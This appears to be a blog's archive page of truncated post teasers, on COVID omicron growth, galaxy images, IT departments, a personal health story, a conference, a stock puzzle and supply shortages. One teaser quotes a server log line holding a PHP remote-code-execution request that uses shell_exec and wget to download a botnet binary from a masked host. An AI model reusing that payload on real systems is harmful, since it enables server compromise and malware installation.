The omicron wave of SARS-COV2 continues, growing at a fantastic rate [https://www.dailymail.co.uk/news/article-10340061/US-hits-second-daily-highest-average-diagnoses-rate-pandemic-began.html] . The growth rate of this variant [https://en.wikipedia.org/wiki/SARS-CoV-2_Omicron_variant#Contagiousness] is staggering. Doubling the number of cases in 48 hours, or less. Meanwhile, on social…
This is something I've thought about quite a bit recently, as I've been using high resolution images of galaxies as desktop background images. The idea in short is, when you look at images of a galaxy Scaled Andromeda galaxy image. Original (https://esahubble.org/images/heic1502a/…
Thus wrote a MIT Sloan school professor in a Wall Street Journal opinion bit [https://optionsmasterycenter.com/its-time-to-get-rid-of-the-it-department/], about the concept of removing a department he felt to be unaligned with the business it is serving. His basis for making this assertion of non-alignment, is sadly, a strawman argument about…
... and told me the results of a biopsy, that began this journey [https://blog.scalability.org/2011/11/ot-it-really-focuses-your-attention-on-the-important-things/] . I was ready to pack up our booth and come home, but she said "stay". We had an appointment scheduled with the oncologist a few weeks out (first available)…
Ill be there. Virtually. For those who don't know about the bash, have a gander at the website [https://beowulfbash.com/]. Kudos to Doug, Lara, and the rest of the team to make something that works for both virtual attendees, as well as in-person. The virtual event will…
After walking the dogs this morning, I peaked at twitter, and found this [https://twitter.com/10kdiver/status/1459494548443332611] For those who prefer text to the image, the question is posed, what is the probability of stock B being of higher value than A, given both start with the initial…
So this appeared in my logs > [15/Oct/2021:15:48:15 +0000] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://x.y.z.t/notabotnet/notabotnet.x86 -O /tmp/.notabotnet;…
Amazing that I wrote this [https://blog.scalability.org//2020/03/in-the-face-of-disruptive-events/] March 2o2o. In this, I wrote > Side effects of inability to manufacture and ship products are high prices and little inventory … shortages in other words. These are being postulated as starting to show up in market within…